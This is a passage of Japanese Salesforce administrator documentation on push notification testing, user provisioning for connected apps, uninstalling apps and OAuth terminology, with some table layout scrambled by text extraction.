バイルアプリケーション

配信可能な通知のみがこの制限にカウントされます。たとえば、通知が会社の
1,000 名の従業員に送信されるが、100 名の従業員はまだモバイルアプリケーショ
ンをインストールしていない場合を考えます。この制限にカウントされるのは、
モバイルアプリケーションをインストールしている 900 名の従業員に送信された
通知のみです。
[転送通知をテスト] ページで生成された各テスト転送通知の受信者は 1 名に制限
されています。テスト転送通知は、アプリケーションの 1 日の転送通知制限にカウントされます。

[テスト通知の送信] ページについて
[テスト通知の送信] ページでは、Apple Push Notification Service (APNS) または Google Cloud Messaging for Android (GCM)

設定からの情報を使用して同期転送メカニズムを設定します。接続トークン文字列を入力して、転送通知を受
信するためのデバイスを選択します。トークン文字列がわからない場合は、検索ツールを使用して、接続アプ
リケーションに登録されたデバイスのリストから選択できます。検索ツールには、新しく登録された順に 5 台
のデバイスが自動的に表示されます。ユーザの名前を入力して、そのユーザに登録されているデバイスを検索
することもできます。
Android GCM 転送通知の場合、[模擬実行] オプションを選択して GCM 設定をテストできます。このオプションを
選択すると、通知が GCM サーバに送信されますが、デバイスには転送されません。
転送を試みるごとに、成功か失敗かを示す状況メッセージが返されます。メッセージの説明については、「転
送通知のエラーメッセージ」を参照してください。詳細については、次の Web サイトを参照してください。
• Apple APNS 転送通知についての詳細は、developer.apple.com を参照してください。
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• GCM for Android 転送通知についての詳細は、developer.android.com を参照してください。
テストページにアクセスする手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「アプリケーション」と入力し、[アプリケーション]を選択します。
2. 接続アプリケーションの名前をクリックします。
3. [サポートされているプッシュプラットフォーム] の横にある [テスト通知の送信] をクリックします。この

リンクは、モバイル転送通知をサポートするように接続アプリケーションを設定している場合にのみ表示
されます。

メモ: テスト転送通知の送信を試みる前に、接続アプリケーションのモバイル設定が正しく設定されてい
ることを確認します。「接続アプリケーションの作成」を参照してください。
転送通知は、Professional Edition のコンソールでは使用できません。

APNS にテスト転送通知を送信する
Apple Push Notification Service (APNS) で転送通知の設定の簡易テストを実行するには、[テスト通知の送信] ペー
ジを使用します。
GCM for Android にテスト転送通知を送信する
Google Cloud Messaging (GCM) for Android で転送通知の設定の簡易テストを実行するには、[転送通知をテスト]

ページを使用します。
転送通知のエラーメッセージ
[テスト通知の送信] ページから転送通知を送信中にエラーメッセージが表示された場合、次の表を参考に
してエラーを修正してください。

APNS にテスト転送通知を送信する
Apple Push Notification Service (APNS) で転送通知の設定の簡易テストを実行するには、[テスト通知の送信]ページを
使用します。
1. [受信者] 項目に接続トークン文字列を入力するか、[検索] をクリックして受信者を検索し、検索結果の

いずれかを選択します。デフォルトでは、[検索結果] リストには接続アプリケーションに新しく登録され
た順に 5 台のデバイスが表示されます。
a. 他のデバイスを検索するには、[検索テキスト] ボックスにユーザ名を入力します。
b. [Go] をクリックして、そのユーザ名で現在登録されているすべてのデバイスのリストを生成します。

2. 必要に応じて、[アラート] にアラートメッセージまたは、Apple の仕様に従ったディクショナリを入力しま
す。

3. [バッジ] に、バッジ番号を入力します。バッジがない場合は、「0」を入力します。
4. [サウンド] に、アプリケーションバンドル内のサウンドファイル名を入力するか、システムデフォルトの

アラートサウンドを使用する場合は「デフォルト」と入力します。
5. 必要に応じて、カスタムペイロードを使用する場合は、[カスタムペイロード] 項目にペイロードの JSON 値

を入力します。
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6. テスト転送通知を送信するには [送信] を、フォームをリセットするには [クリア] をクリックします。

関連トピック:

転送通知のテスト

GCM for Android にテスト転送通知を送信する
Google Cloud Messaging (GCM) for Android で転送通知の設定の簡易テストを実行するには、[転送通知をテスト]ペー
ジを使用します。
1. [受信者] 項目に接続トークン文字列を入力するか、[検索] をクリックして受信者を検索し、検索結果の

いずれかを選択します。デフォルトでは、[検索結果] リストには接続アプリケーションに新しく登録され
た順に 5 台のデバイスが表示されます。
a. 他のデバイスを検索するには、[検索テキスト] ボックスにユーザ名を入力します。
b. [Go] をクリックして、そのユーザ名で現在登録されているすべてのデバイスのリストを生成します。

2. ペイロードの場合、メッセージが含まれる JSON 値を入力します。
3. GCM サーバにのみ転送通知を送信するには、[模擬実行] を選択します。
4. テスト転送通知を送信するには [送信] を、フォームをリセットするには [クリア] をクリックします。

関連トピック:

転送通知のテスト

転送通知のエラーメッセージ
[テスト通知の送信]ページから転送通知を送信中にエラーメッセージが表示された場合、次の表を参考にして
エラーを修正してください。

推奨解決策メッセージ

1 日の制限はネゴシエーションできないため、解決策
はありません。

この接続アプリケーションで 1 日の転送制限を超えま
した

証明書を有効な種別に置き換えます。Apple Push Notification Service で証明書が受け入れられま
せん

有効な証明書を指定します。証明書が取り消されました

証明書を更新します。証明書が期限切れです

後で再試行します。証明書がまだ無効です

証明書を有効な種別に置き換えます。証明書またはパスワードが無効です

入力にエラーがないか確認します。受信者またはペイロードが無効です

ペイロードのサイズを小さくします。ペイロードが最大サイズを超えています
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推奨解決策メッセージ

接続アプリケーションに設定があることを確認しま
す。

転送通知設定を読み込めません

有効なデバイストークンを指定します。受信者項目に無効なデバイストークンが含まれていま
す

トークンが正しく入力されなかったか、破損していま
す。トークンを再入力してください。

デバイストークンの長さが無効です

正しい証明書が使用されていることを確認します
(Sandbox と本番が同じか比較するなど)。

転送通知の送信時にエラーが発生しました。正しい
Apple 環境の証明書であることを確認してください。

後で再試行します。Apple Push Notification Service を使用できません。

後で再試行します。Apple Push Notification Service に接続できません

後で再試行します。Salesforce プロキシに接続できません。問題が続く場合
は、Salesforce のサポートにお問い合わせください。

後で再試行します。Salesforce プロキシにより要求がブロックされました。
問題が続く場合は、Salesforce のサポートにお問い合わ
せください。

Apple に問い合わせるか、後で再試行します。Apple Push Notification Service から不明なエラーが返され
ました

バッジ値を整数として再入力します。バッジには数値を入力してください

ペイロードの形式を正しく設定します。ペイロードは有効な JSON 形式で指定する必要があり
ます

いずれかの項目に有効な値を入力します。少なくとも次のいずれか 1 つの項目に値を入力してく
ださい: アラート、バッジ、サウンド、カスタムペイ
ロード

デバイストークンを指定します。受信者が必要です

GCM のドキュメント (developer.android.com) を参照して
ください。次のような原因が考えられます。

Google Cloud Messaging 認証エラー

• 認証ヘッダーが欠落しているか、認証ヘッダーに
無効な構文が含まれている。

• 無効なプロジェクト番号がキーとして送信された。
• キーは有効だが、GCM サービスが無効化されてい

る。
• 要求の送信元が、サーバキーの IP アドレスにホワ

イトリスト登録されていないサーバである。
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推奨解決策メッセージ

後で再試行します。Google Cloud Messaging サーバで内部エラーが発生した
か、サーバを一時的に使用できません

モバイルアプリケーションで有効な登録 ID が指定さ
れていることを確認するか、手動で有効な登録 ID を
入力します。

受信者項目の登録 ID の形式が不適切です

ペイロードのサイズを小さくします。ペイロードが最大サイズを超えています

アプリケーションの正しいサーバキーを指定します。受信者項目に、接続アプリケーションの API サーバ
キーに対して無効な登録 ID が含まれています

受信者を選択するか、登録 ID を指定します。受信者が必要です

受信者のデバイス登録 ID を更新します。受信者項目に無効な登録 ID が含まれています

salesforce.com までお問い合わせください。GCM サーバから予期せぬエラーが返されました。SFDC

サポートチームにお問い合わせください。

salesforce.com までお問い合わせください。予期しないエラーが発生しました。SFDC サポートチー
ムにお問い合わせください。

関連トピック:

接続アプリケーションの作成
転送通知のテスト

接続アプリケーションのユーザプロビジョニング

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

接続アプリケーションを
作成可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

接続アプリケーションを
インストール可能なエ
ディション: すべてのエ
ディション

ユーザ権限

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションを参照、作成、更
新または削除する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性以外のすべ
ての項目を更新する

「アプリケーションのカスタマイズ」お
よび「すべてのデータの編集」

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性を更新する
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「アプリケーションのカスタマイズ」および

「すべてのデータの編集」または「接続アプリケーショ
ンの管理」のいずれか

接続アプリケーションをインストールおよびアンインス
トールする

「アプリケーションのカスタマイズ」および

「すべてのデータの編集」または「接続アプリケーショ
ンの管理」のいずれか

パッケージ化された接続アプリケーションをインストー
ルおよびアンインストールする

および「AppExchange パッケージのダウンロード」

システム管理者は、接続アプリケーションのユーザプロビジョニングを使用して、Salesforce組織のユーザに基
づいたサードパーティアプリケーションのユーザアカウントを作成、更新、削除します。Salesforceユーザに対
して、Google Apps や Box などのサービスの自動アカウント作成、更新、無効化を設定できます。また、サード
パーティシステムに既存のユーザアカウントや、そのアカウントがすでにSalesforceユーザアカウントにリンク
されているかどうかも検出できます。
接続アプリケーションは、ユーザをサードパーティサービスおよびアプリケーションにリンクします。接続ア
プリケーションのユーザプロビジョニングでは、それらのサービスおよびアプリケーションのユーザアカウン
トを作成、更新、および管理できます。この機能により、Google Apps などのサービスのアカウント作成が簡略
化され、Salesforceユーザのアカウントがサードパーティアカウントにリンクされます。これらのアカウントが
リンクされたら、アプリケーションランチャーを設定し、ユーザがアプリケーションランチャーの接続アプリ
ケーションアイコンをクリックして、対象サービスに瞬時にアクセスできるようにします。
ユーザプロビジョニングは、設定された接続アプリケーションへのアクセス権を付与するプロファイルまたは
権限セットに割り当てられたユーザのみに適用されます。たとえば、組織の Google Apps 接続アプリケーショ
ンのユーザプロビジョニングを設定できます。次に、その接続アプリケーションに「従業員」プロファイルを
割り当てます。組織で新規ユーザが作成されて「従業員」プロファイルが割り当てられると、そのユーザは自
動的に Google Apps でプロビジョニングされます。また、このユーザが無効化された場合やプロファイルの割
り当てが変更された場合は、このユーザの Google Apps のプロビジョニングが自動的に解除されます。
Salesforce のウィザードに従って、各接続アプリケーションのユーザプロビジョニングを設定します。
さらに、レポートを実行すれば、すべての接続アプリケーションのすべてのユーザアカウントをまとめた一元
ビューで、特定のサードパーティアプリケーションへのアクセス権があるユーザを確認できます。

ユーザプロビジョニング要求
ユーザプロビジョニングを設定後は、Salesforce がサードパーティシステムの更新要求を管理します。Salesforce

が、組織の特定のイベントに基づいて、ユーザプロビジョニング要求を UI または API コールのいずれかでサー
ドパーティシステムに送信します。次の表に、ユーザプロビジョニング要求をトリガするイベントを示しま
す。

オブジェクト操作イベント

UserCreateユーザの作成
UserUpdateユーザの更新 (選択した属性)

6743

Salesforce とのアプリケーションのインテグレーションコードを使用した Salesforce の拡張



オブジェクト操作イベント

UserDeactivateユーザの無効化
UserActivateユーザの有効化
UserLoginFreezeユーザの凍結
UserLoginUnfreezeユーザの凍結解凍
UserReactivateユーザの再有効化
UserCreate/Deactivateユーザプロファイルの変更
PermissionSetAssignmentCreate/Deactivateユーザへの権限セットの割り当て/

割り当て解除
SetupEntityAccessCreate/Deactivate接続アプリケーションへのプロファ

イルの割り当て/割り当て解除
SetupEntityAccessCreate/Deactivate接続アプリケーションへの権限セッ

トの割り当て/割り当て解除

操作値は、UserProvisioningRequest オブジェクトに保存されます。Salesforceは、要求をすぐに処理することも、承
認プロセスが完了するまで待機することもできます (ユーザプロビジョニングウィザードの手順で承認プロセ
スを追加した場合)。要求を処理するために、Salesforceは、[ユーザプロビジョニング]種別のフローを使用しま
す。このフローには、Apex の UserProvisioningPlugin クラスへの参照が含まれます。フローが、サードパーティ
サービスのユーザアカウントプロビジョニングを管理する API をコールします。
Active Directory のイベントに基づいてユーザプロビジョニング要求を送信する場合は、Salesforce Identity Connect を
使用して、これらのイベントを取得し、Salesforce組織に同期させます。次に、Salesforceがユーザをプロビジョ
ニングまたはプロビジョニング解除するユーザプロビジョニング要求をサードパーティシステムに送信しま
す。

制限事項
エンタイトルメント

サービスプロバイダのロールと権限は、Salesforce 組織で管理または保存することはできません。したがっ
て、サービスプロバイダのリソースに対する特定のエンタイトルメントは、ユーザプロビジョニングが有
効化されたサードパーティアプリケーションへのアクセスをユーザが要求するときには含まれていません。
サービスプロバイダのユーザアカウントは作成できますが、そのユーザアカウントの追加ロールまたは権
限はサービスプロバイダ経由で管理する必要があります。

定期的なアカウント調整
サードパーティシステムのユーザを収集および分析するたびに、ユーザプロビジョニングウィザードを実
行します。自動的な収集および分析の間隔を設定することはできません。

アクセスの再認証
ユーザのアカウントが作成された後、サービスプロバイダのリソースへのユーザアクセスの検証はサービ
スプロバイダで実行する必要があります。
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接続アプリケーションのユーザプロビジョニングの設定
接続アプリケーションを設定して、アプリケーションのユーザプロビジョニングにかかる時間を節約しま
す。
ユーザプロビジョニング要求の管理
接続アプリケーションにユーザプロビジョニングを設定すると、個々のユーザアカウントのプロビジョニ
ング、プロビジョニング解除、更新の設定および承認を管理できます。
接続アプリケーションのユーザプロビジョニングのカスタムレポートの作成
接続アプリケーションのユーザプロビジョニングを設定している組織は、カスタムレポートタイプを使用
して、プロビジョニングのアカウント、要求、その他の情報を示すレポートを実行できます。

関連トピック:

接続アプリケーションのユーザプロビジョニングの設定
接続アプリケーションのユーザプロビジョニングのカスタムレポートの作成
接続アプリケーション

接続アプリケーションのユーザプロビジョニングの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

接続アプリケーションを
作成可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

接続アプリケーションを
インストール可能なエ
ディション: すべてのエ
ディション

ユーザ権限

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションを参照、作成、更
新または削除する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性以外のすべ
ての項目を更新する

「アプリケーションのカスタマイズ」お
よび「すべてのデータの編集」

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性を更新する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションをインストールお
よびアンインストールする

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

パッケージ化された接続アプリケーショ
ンをインストールおよびアンインストー
ルする

および「AppExchangeパッケージのダウ
ンロード」
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接続アプリケーションを設定して、アプリケーションのユーザプロビジョニングにかかる時間を節約します。
Salesforceのステップバイステップウィザードに従って、各接続アプリケーションのユーザプロビジョニングを
設定します。
このウィザードを使用する前に、次を用意する必要があります。
サードパーティサービスの接続アプリケーション

接続アプリケーションでは、「ブックマーク」接続アプリケーションなどのユーザプロビジョニングをサ
ポートできます。

指定ログイン情報
指定ログイン情報は、サードパーティシステムとその認証設定を識別します。アカウントの作成、編集、
または削除などのサードパーティシステムへのコールは、指定ログイン情報のサードパーティ認証設定を
使用します。指定ログイン情報では指定ユーザを指定します。指定ユーザは、サードパーティシステムの
アカウントまたは組織の既存の認証プロバイダの OAuth 認証です。ユーザプロビジョニングウィザードで
指定ログイン情報の入力が求められます。

Flow Designer で作成されたフロー
フローでサードパーティシステムへのプロビジョニング要求を管理します。Salesforce には、ユーザプロビ
ジョニングの設定プロセスを簡略化する事前設定済みのフローを含む、いくつかのパッケージが用意され
ています (近日リリース)。ユーザプロビジョニングウィザードを使用して、いずれかのフローを接続アプ
リケーションに関連付けます。
独自のフローを作成することも可能です。詳細は、「独自のユーザプロビジョニングフローの作成」を参
照してください。

ユーザプロビジョニングが有効化されている場合は、次の手順に従って既存の接続アプリケーションのユーザ
プロビジョニングウィザードを開始します。
1. [設定] から、[クイック検索]ボックスに「接続アプリケーション」と入力し、接続アプリケーションを管理

するオプションを選択します。
2. 接続アプリケーションの名前をクリックします。
3. 接続アプリケーションの詳細ページで、[編集] をクリックします。
4. [ユーザプロビジョニング設定] セクションで、[ユーザプロビジョニングを有効化] を選択します。
5. [保存] をクリックします。

[保存]をクリックすると、Salesforceから接続アプリケーションの詳細ページが返されます。[設定] から接続
アプリケーションの詳細ページにアクセスするには、[クイック検索]ボックスで「接続アプリケーション」
と入力し、接続アプリケーションを管理するオプションを選択します。接続アプリケーションの名前をク
リックします。

6. [ユーザプロビジョニング設定] セクションで、[ユーザプロビジョニングウィザードを起動する]をクリック
してウィザードを開始します。

ユーザプロビジョニングウィザードが完了したら、接続アプリケーションの詳細ページに戻り、個々のユーザ
アカウント情報を編集してすばやく更新できます。[設定] から、[クイック検索] ボックスで「接続アプリケー
ション」と入力し、接続アプリケーションを管理するオプションを選択し、接続アプリケーションの名前をク
リックします。接続アプリケーションの詳細ページの [ユーザアカウント] セクションに、各ユーザが一覧表示
されます。あるいは、ウィザードに戻ってサードパーティシステムのアカウントを収集および分析し、設定を
変更して、すべてのアカウントを処理します。
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ユーザプロビジョニングウィザードを実行中に承認プロセスを追加した場合は、詳細ページの[承認プロセス]

項目が選択されます。

独自のユーザプロビジョニングフローの作成
パッケージ化されたフローが目的のサードパーティシステムをサポートしていない場合、またはソリューショ
ンをカスタマイズする場合は、独自のフローを作成します。UserProvisioningPlugin Apex クラスと
UserProvisioningRequest および UserProvAccount 標準オブジェクトを使用します。独自のフローを作成するときは、
ユーザプロビジョニング というフロー種別で保存します。独自のフローを作成する場合は、Flow Designer を使
用したフローの作成と、Apexトリガの開発について理解しておく必要があります。フローには次が必要です。
• UserProvisioningPlugin クラスを使用する Apex トリガ
• フローの次の入力および出力変数

– 入力: User、UserProvisioningRequest、UserProvAccount

– 出力: ExternalUserId、ExternalUsername、ExternalFirstName、ExternalLastName、
ExternalEmail、Details、Status

• フロー内の、次の入力および出力パラメータを持つ少なくとも 1 つの Apex プラグイン
– 入力: userProvisioningRequestId、userId、namedCredDevName、reconFilter、reconOffset

– 出力: ExternalUserId、ExternalUsername、ExternalFirstName、ExternalLastName、
ExternalEmail、Details、Status、reconState、nextReconOffset

• Salesforce ユーザとサードパーティシステムのユーザのユーザアカウント間でのリンクの設定時に変更する
[ルックアップユーザ] レコードの検索要素

関連トピック:

接続アプリケーションのユーザプロビジョニング
接続アプリケーションの作成
指定ログイン情報の定義
Cloud Flow Designer

ユーザプロビジョニング要求共有ルールの作成
Apex 開発者ガイド
接続アプリケーションのユーザプロビジョニングのカスタムレポートの作成
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ユーザプロビジョニング要求の管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

接続アプリケーションを
作成可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

接続アプリケーションを
インストール可能なエ
ディション: すべてのエ
ディション

ユーザ権限

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションを参照、作成、更
新または削除する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性以外のすべ
ての項目を更新する

「アプリケーションのカスタマイズ」お
よび「すべてのデータの編集」

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性を更新する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションをインストールお
よびアンインストールする

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

パッケージ化された接続アプリケーショ
ンをインストールおよびアンインストー
ルする

および「AppExchangeパッケージのダウ
ンロード」

接続アプリケーションにユーザプロビジョニングを設定すると、個々のユーザアカウントのプロビジョニン
グ、プロビジョニング解除、更新の設定および承認を管理できます。
個々の要求およびユーザアカウントの管理には次を使用します。

[ユーザプロビジョニング要求] タブ
[ユーザプロビジョニング要求] タブでは、詳細を表示することや、個々のユーザプロビジョニング要求の承認
を管理することができます。ユーザプロビジョニング要求の詳細には、要求の状況や承認の状況 (必要かつ設
定されている場合) に関する情報が含まれます。
最近のユーザプロビジョニング要求の [名前] 項目値をクリックすると、次を含む詳細が表示されます。
操作

現在の要求のアクション。有効な値は次のとおりです。
• Create

• Read

• Update

6748

Salesforce とのアプリケーションのインテグレーションコードを使用した Salesforce の拡張



• Deactivate

• Activate

• Freeze

• Unfreeze

• Reconcile  (Salesforce アカウントをサードパーティシステムのアカウントと比較します)

• Linking  (現在のリンク状態を変更します)

状態
State 値は、サードパーティシステムのユーザアカウントを収集して Salesforce ユーザアカウントと比較す
る調整プロセス中に変更されます。通常、ユーザプロビジョニング要求が最初に作成された時点で、State

値が New になります。収集プロセスが開始されると、State が Collecting に移行し、プロセスが完了
するまで維持されます。プロセスが完了すると、State が Collected になります。
分析プロセスがトリガされると、アカウント間に差異があるため、State が Analyzing に移行し、プロ
セスが完了するまで維持されます。プロセスが完了すると、Stateが Analyzedになります。プロセスが
要求をコミットすると、リンク設定に基づいて、State が Committing に移行し、Salesforceがそれに合わ
せてユーザアカウントプロパティを更新します。更新プロセスが完了すると、State が Completed に移
行します。
ただし、Stateは Newで開始するとは限りません。一部のカスタムプロセスでアカウントを調整する要求
が開始された場合に、最初のエントリが Analyzing State になることがあります。
また、State は現在有効なタスクから逆戻りすることはできません。たとえば、Analyzing State の成
功時には Analyzedに進む必要があります。このプロセスに失敗した場合は、Stateが Failedに変更さ
れます。

[ユーザプロビジョニングアカウント] 項目値をクリックすると、ユーザのアカウントに関する詳細が表示され
ます。次の項目には、ユーザアカウントの現在の状態を説明する選択リスト項目があります。
状況

対象システムのアカウントの状況。有効な値は、次のとおりです。
• Active

• Deactivated

• Deleted

リンク状態
Salesforce組織のユーザアカウントと対象システムの関連付けられたユーザアカウント間の現在の接続状態。
有効な値は、次のとおりです。
• linked  — Salesforce 組織のアカウントへの変更は、対象システムの関連付けられたユーザアカウントを

更新するキューに入れられます。
• duplicate  — 対象システムの関連付けられたアカウントが存在します。
• orphaned  — 対象システムの関連付けられたアカウントが存在しません。
• ignored  — Salesforce 組織のアカウントへの変更は、対象システムの関連付けられたユーザアカウント

には影響しません。
これらの値を編集するには、接続アプリケーションの詳細ページの [ユーザアカウント] セクションを使用しま
す。
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接続アプリケーションの詳細ページの [ユーザアカウント] セクション
接続アプリケーションの詳細ページの [ユーザアカウント] セクションには、検出されてサードパーティサービ
スにリンクされたアカウントがすべて表示されます。このセクションを使用して、サードパーティアカウント
へのリンク状態の管理や、アカウント設定に保存されている詳細の編集を行います。
通常は、Salesforceが、サードパーティサービスのアカウントへのリンク状態を管理します。Salesforceは、調整
プロセス中にSalesforce組織とサードパーティシステムのユーザアカウントを検出して両者を関連付けることが
できます。この関連付けは、ユーザプロビジョニングウィザードで指定した属性に基づきます。
リンク状態をSalesforceに制御させるのではなく、自ら制御する場合は、[アカウントのリンクを自分で管理]の
みを選択します。
リンク状態には、次の値があります。

ユーザプロビジョニング要求共有ルール
ユーザプロビジョニング設定に承認プロセスを追加している場合は、共有ルールを設定して、別のユーザやマ
ネージャなど他の人々がユーザプロビジョニング要求を表示および承認できるようにします。
[設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定] を選択します。

関連トピック:

接続アプリケーションのユーザプロビジョニング
接続アプリケーションのユーザプロビジョニングの設定
ユーザプロビジョニング要求共有ルールの作成
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接続アプリケーションのユーザプロビジョニングのカスタムレポートの作成

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

接続アプリケーションのユーザプロビジョニングを設定している組織は、カス
タムレポートタイプを使用して、プロビジョニングのアカウント、要求、その
他の情報を示すレポートを実行できます。
1. 各カスタムレポートタイプおよびカスタムレポートタイプの作成と管理の一

般的な手順を把握します。
2. これらのオブジェクトに関連するカスタムレポートタイプを作成し、必要に

応じて設定します。すべての項目をレポートで選択可能になるように設定し
ます。各レポートを [ユーザプロビジョニング] レポートタイプカテゴリに追
加します。レポートを作成するユーザがニーズに合わせてどれを使用すべき
かがわかるように、各レポートタイプの明確な名前と説明を入力します。

説明主オブジェクト

Salesforce ユーザプロビジョニングが
有効な接続アプリケーションのユー
ザについて、Salesforce ユーザアカウ
ントをサードパーティ (対象) システ
ム (Google など) のアカウントにリン
クする情報が含まれます。

ユーザプロビジョニングアカウント

サードパーティアプリケーションに
ユーザをプロビジョニングするプロ
セスで生成されたメッセージが含ま
れます。

ユーザプロビジョニングログ

ユーザプロビジョニングでデータを
サードパーティシステムにコミット

ユーザプロビジョニングモックター
ゲット

する前にテストするためのユーザデー
タが含まれます。

各ユーザの個別のプロビジョニング
要求に関する情報が含まれます。

ユーザプロビジョニング要求

関連トピック:

接続アプリケーションのユーザプロビジョニング
カスタムレポートタイプの作成
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接続アプリケーションのアンインストール

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

接続アプリケーションを
作成可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

接続アプリケーションを
インストール可能なエ
ディション: すべてのエ
ディション

ユーザ権限

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションを参照、作成、更
新または削除する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性以外のすべ
ての項目を更新する

「アプリケーションのカスタマイズ」お
よび「すべてのデータの編集」

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性を更新する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションをインストールお
よびアンインストールする

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

パッケージ化された接続アプリケーショ
ンをインストールおよびアンインストー
ルする

および「AppExchangeパッケージのダウ
ンロード」

組織から接続アプリケーションをさまざまな方法で削除できます。OAuth 接続アプリケーションのアンインス
トールは、[接続アプリケーションの OAuth の利用状況] ページから実行できます。また、接続アプリケーショ
ンが管理パッケージとしてインストールされている場合は、パッケージをアンインストールすることでアプリ
ケーションを削除することもできます。
[接続アプリケーションの OAuth の利用状況] ページには、組織のユーザがアクセスしているすべての OAuth 接
続アプリケーションのリストが表示されます。アプリケーションの横に [アンインストール] ボタンがある場
合、そのアプリケーションは別の組織の開発者が作成したものです。元の開発者が他の組織でアプリケーショ
ンを削除した場合にのみアプリケーションをアンインストールすることをお勧めします。アンインストールし
ても接続アプリケーションは削除されません。削除されるのは、組織でアプリケーションの OAuth ポリシーを
設定するためにインストールしたローカルコピーのみです。アプリケーションをアンインストールすると、組
織でそのアプリケーションに設定した OAuth ポリシーのみが削除されます。実際にはセキュリティ対策が弱く
なります。
組織のユーザが接続アプリケーションにアクセスできないようにするには、[ブロック]をクリックします。ア
プリケーションをブロックすると、接続アプリケーションを使用する現在のすべてのユーザセッションが終了
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し、すべての新しいセッションがブロックされます。アプリケーションへのアクセスを復元するには、[ブロッ
ク解除] をクリックします。
Salesforce が所有し、配布した接続アプリケーションパッケージ (Salesforce1 for iOS パッケージなど) はアンインス
トールしないでください。このようなパッケージは Salesforce がインストールして管理します。

接続アプリケーションおよび OAuth の用語

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

トークンとは何でしょうか? コンシューマとは? コールバック URL とは何でしょ
う? OAuth 接続アプリケーションをより深く理解するために、いくつかの用語に
についてよく把握しておきましょう。
アクセストークン

ユーザのSalesforceログイン情報を使用する代わりに、保護されたリソースへ
のユーザのアクセスを許可するためにコンシューマにより使用される値。
OAuth 1.0.A では、アクセストークンとセッション ID を交換する必要がありま
す。
OAuth 2.0 では、アクセストークンがセッション ID であるため、直接使用でき
ます。

認証コード
Web サーバフローを使用する OAuth 2.0 でのみ使用される、エンドユーザに
よって付与されたアクセスを表す、有効期間の短いトークン。認証コード
は、アクセストークンと更新トークンを取得するために使用されます。OAuth

1.0.A の場合は、「接続アプリケーションおよび OAuth の用語」を参照してく
ださい。

コールバック URL

クライアントアプリケーションに関連付けられた URL。場合によっては、URL は、クライアントの Web ブラ
ウザのリダイレクト先である実際の URL にする必要があります。それ以外では、URL は実際には使用されま
せんが、クライアントアプリケーションとサーバ (接続アプリケーション定義) 間で値が一致する必要があ
ります。たとえば、http://MyCompany.Myapp のようにアプリケーションを識別する値を使用します。

コンシューマ
Salesforce ユーザとアプリケーションの両方をユーザの代わりに認証するために OAuth を使用する Web サイ
トまたはアプリケーション。

コンシューマ鍵
Salesforce で識別するためのコンシューマにより使用される値。OAuth 2.0 では client_id と呼ばれます。

コンシューマの秘密
コンシューマ鍵の所有権を確立するためにコンシューマにより使用される秘密。OAuth 2.0 では
client_secret として参照されます。

nonce

要求が再利用できないようにするために認証中に使用される数値で、通常は乱数。
更新トークン

OAuth 2.0 のみで使用できます。新しいアクセストークンを取得するためにコンシューマが使用するトーク
ン。エンドユーザがアクセスを再度承認する必要がありません。
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要求トークン
ユーザから認証を取得するコンシューマにより使用され、アクセストークンと交換される値。要求トーク
ンは、OAuth 1.0.A のみで使用できます。OAuth 2.0 の場合は、「接続アプリケーションおよび OAuth の用語」
を参照してください。

サービスプロバイダ
OAuth を使用したアクセスを許可する Web アプリケーション。このアプリケーションは、リモートアクセ
スが有効になった後の Salesforce インスタンスです。

トークンの秘密
要求トークンおよびアクセストークンの両方に指定されたトークンの所有権を確立するために、コンシュー
マが使用する秘密。

ユーザ
Salesforce ログインが可能な個人。

関連トピック:

OAuth によるアプリケーションの認証

OAuth によるアプリケーションの認証

エディション

使用可能なエディション:
Salesforce Classic および
